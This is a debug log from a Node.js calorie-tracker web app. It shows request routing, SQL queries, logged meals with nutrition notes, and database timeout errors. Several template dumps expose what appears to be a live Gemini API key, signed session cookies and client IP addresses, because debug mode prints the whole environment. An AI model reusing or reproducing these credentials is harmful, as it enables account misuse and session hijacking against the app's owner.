  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-14T09:16:23.926Z server-connect:router Serving templateView /calorie-tracker
2025-12-14T09:16:23.926Z server-connect:app Executing action step identify
2025-12-14T09:16:23.926Z server-connect:app options: { provider: 'security' }
2025-12-14T09:16:23.926Z server-connect:output identity: 1
2025-12-14T09:16:23.926Z server-connect:app Executing action step restrict
2025-12-14T09:16:23.926Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T09:16:23.926Z server-connect:output restrict: undefined
2025-12-14T09:16:23.926Z server-connect:router Render template calorie-tracker
2025-12-14T09:16:23.927Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3At5nGNqr3SVo%2FChwQooerSQ%3D%3D.eMRt48dC32ChQ5AKz2SpilFlEW6qSdW6sTUviYnBEaFo9tg%2F8p%2FfUgy2wiqyp3GN4lkunUniMDO3XYSgrzjl7O8UgrZn%2FUdr9U3Jc15J%2FMlJztnVsWWM917Wf%2B3%2FXHnzU%2B%2FUIWOAsXLSnFQtsq%2Bbd%2FpHxomDiTMeRY9rtdu7BjM%3D.jCt8VSI6frs%2BTkpYuvLj3R0ceQAlOs%2FpeFZ%2B37%2FWb8E; your_r_git.sid=s%3A34xWocA8KQN9MG_Ugw-4Z0qTJtNAYPX5.LZNhHT90Le%2F7JhK8W0Mil3d9LmxXXo1sdraq0yvhjjA',
    'x-forwarded-for': '157.48.246.198',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T07:59:07.603Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.246.198',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3At5nGNqr3SVo%2FChwQooerSQ%3D%3D.eMRt48dC32ChQ5AKz2SpilFlEW6qSdW6sTUviYnBEaFo9tg%2F8p%2FfUgy2wiqyp3GN4lkunUniMDO3XYSgrzjl7O8UgrZn%2FUdr9U3Jc15J%2FMlJztnVsWWM917Wf%2B3%2FXHnzU%2B%2FUIWOAsXLSnFQtsq%2Bbd%2FpHxomDiTMeRY9rtdu7BjM%3D.jCt8VSI6frs%2BTkpYuvLj3R0ceQAlOs%2FpeFZ%2B37%2FWb8E; your_r_git.sid=s%3A34xWocA8KQN9MG_Ugw-4Z0qTJtNAYPX5.LZNhHT90Le%2F7JhK8W0Mil3d9LmxXXo1sdraq0yvhjjA',
    'HTTP_X_FORWARDED-FOR': '157.48.246.198',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-14T09:16:24.280Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-14T09:16:24.280Z server-connect:app Executing action step identify
2025-12-14T09:16:24.280Z server-connect:app options: { provider: 'security' }
2025-12-14T09:16:24.281Z server-connect:output identity: 1
2025-12-14T09:16:24.281Z server-connect:app Executing action step restrict
2025-12-14T09:16:24.281Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T09:16:24.281Z server-connect:output restrict: undefined
2025-12-14T09:16:24.281Z server-connect:app Executing action step single
2025-12-14T09:16:24.281Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-14T09:16:24.282Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-14T09:16:24.282Z server-connect:app Executing action step select
2025-12-14T09:16:24.282Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-14T09:16:24.283Z server-connect:output item_list: [
  {
    id: 387,
    intake_date: '2025-12-13T18:30:00.000Z',
    item_name: 'Salted Fries',
    calories: 210,
    protein_gm: 3,
    carbs_gm: 28,
    fat_gm: 11,
    quantity: 'Few pieces (approx 70g)',
    replacements: 'Baked potato wedges,Air-fried sweet potato fries,Roasted vegetables,Oven-baked fries (with minimal oil)',
    created_at: '2025-12-14T02:31:14.000Z',
    skip_level: 3,
    skip_reason: 'Deep-fried, high in unhealthy fats and refined carbohydrates. It offers minimal protein and micronutrients, contributing to empty calories which is counterproductive for muscle development and fat loss.'
  },
  {
    id: 388,
    intake_date: '2025-12-13T18:30:00.000Z',
    item_name: 'Ginger Ale',
    calories: 66,
    protein_gm: 0,
    carbs_gm: 17,
    fat_gm: 0,
    quantity: 'Half (approx 165ml, based on a standard 330ml can)',
    replacements: 'Water,Sparkling water with a slice of ginger/lemon,Diet ginger ale (use sparingly),Unsweetened herbal tea',
    created_at: '2025-12-14T02:31:14.000Z',
    skip_level: 3,
    skip_reason: 'High in added sugars and offers empty calories with no nutritional value (protein, fiber, vitamins) for muscle growth or overall health. Leads to unnecessary blood sugar spikes.'
  },
  {
    id: 389,
    intake_date: '2025-12-13T18:30:00.000Z',
    item_name: 'Paneer Pakoda',
    calories: 128,
    protein_gm: 5,
    carbs_gm: 9,
    fat_gm: 9,
    quantity: '1 piece (approx 40g)',
    replacements: 'Grilled paneer,Tandoori paneer,Paneer tikka,Baked paneer pakoda (using minimal oil),Paneer bhurji',
    created_at: '2025-12-14T02:31:14.000Z',
    skip_level: 2,
    skip_reason: 'While paneer provides protein, this item is deep-fried, leading to high unhealthy fat and calorie content from the frying oil and besan (gram flour) batter. Healthier, non-fried forms of paneer are much more beneficial for muscle development.'
  }
]
2025-12-14T09:16:24.283Z server-connect:app Executing action step setvalue
2025-12-14T09:16:24.283Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-14T09:16:24.283Z server-connect:output var_total: 404
2025-12-14T09:16:24.283Z server-connect:app Executing action step setvalue
2025-12-14T09:16:24.283Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-14T09:16:24.283Z server-connect:output var_consumed: 17
2025-12-14T09:16:24.283Z server-connect:app Executing action step setvalue
2025-12-14T09:16:24.283Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-14T09:16:24.283Z server-connect:output var_deficit: 1996
2025-12-14T09:16:24.283Z server-connect:app Executing action step custom
2025-12-14T09:16:24.283Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-14T09:16:24.284Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  }
]
2025-12-14T09:16:52.810Z server-connect:router Serving templateView /
2025-12-14T09:16:52.810Z server-connect:app Executing action step identify
2025-12-14T09:16:52.810Z server-connect:app options: { provider: 'security' }
2025-12-14T09:16:52.810Z server-connect:auth No login cookie found
2025-12-14T09:16:52.810Z server-connect:output identity: false
2025-12-14T09:16:52.810Z server-connect:app Executing action step restrict
2025-12-14T09:16:52.810Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T09:16:52.810Z server-connect:output restrict: undefined
2025-12-14T09:16:53.197Z server-connect:router Serving templateView /login
2025-12-14T09:16:53.197Z server-connect:app Executing action step identify
2025-12-14T09:16:53.197Z server-connect:app options: { provider: 'security' }
2025-12-14T09:16:53.197Z server-connect:auth No login cookie found
2025-12-14T09:16:53.197Z server-connect:output identity: false
2025-12-14T09:16:53.197Z server-connect:router Render template layouts/authentication
2025-12-14T09:16:53.197Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    connection: 'keep-alive',
    'x-forwarded-for': '45.90.62.229',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T09:16:53.196Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '45.90.62.229',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-FOR': '45.90.62.229',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
2025-12-14T09:59:39.844Z server-connect:router Serving templateView /
2025-12-14T09:59:39.844Z server-connect:app Executing action step identify
2025-12-14T09:59:39.845Z server-connect:app options: { provider: 'security' }
2025-12-14T09:59:39.845Z server-connect:auth No login cookie found
2025-12-14T09:59:39.845Z server-connect:output identity: false
2025-12-14T09:59:39.845Z server-connect:app Executing action step restrict
2025-12-14T09:59:39.845Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T09:59:39.845Z server-connect:output restrict: undefined
2025-12-14T09:59:40.555Z server-connect:router Serving templateView /login
2025-12-14T09:59:40.556Z server-connect:app Executing action step identify
2025-12-14T09:59:40.556Z server-connect:app options: { provider: 'security' }
2025-12-14T09:59:40.556Z server-connect:auth No login cookie found
2025-12-14T09:59:40.556Z server-connect:output identity: false
2025-12-14T09:59:40.556Z server-connect:router Render template layouts/authentication
2025-12-14T09:59:40.556Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    connection: 'keep-alive',
    'x-forwarded-for': '176.53.219.26',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T09:59:40.555Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '176.53.219.26',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-FOR': '176.53.219.26',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-14 10:01:03' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-14 10:01:03' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-14 12:55:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-14 12:55:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-14 13:04:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-14 13:04:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-14 13:46:03' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-14 13:46:03' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-14 14:48:04' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
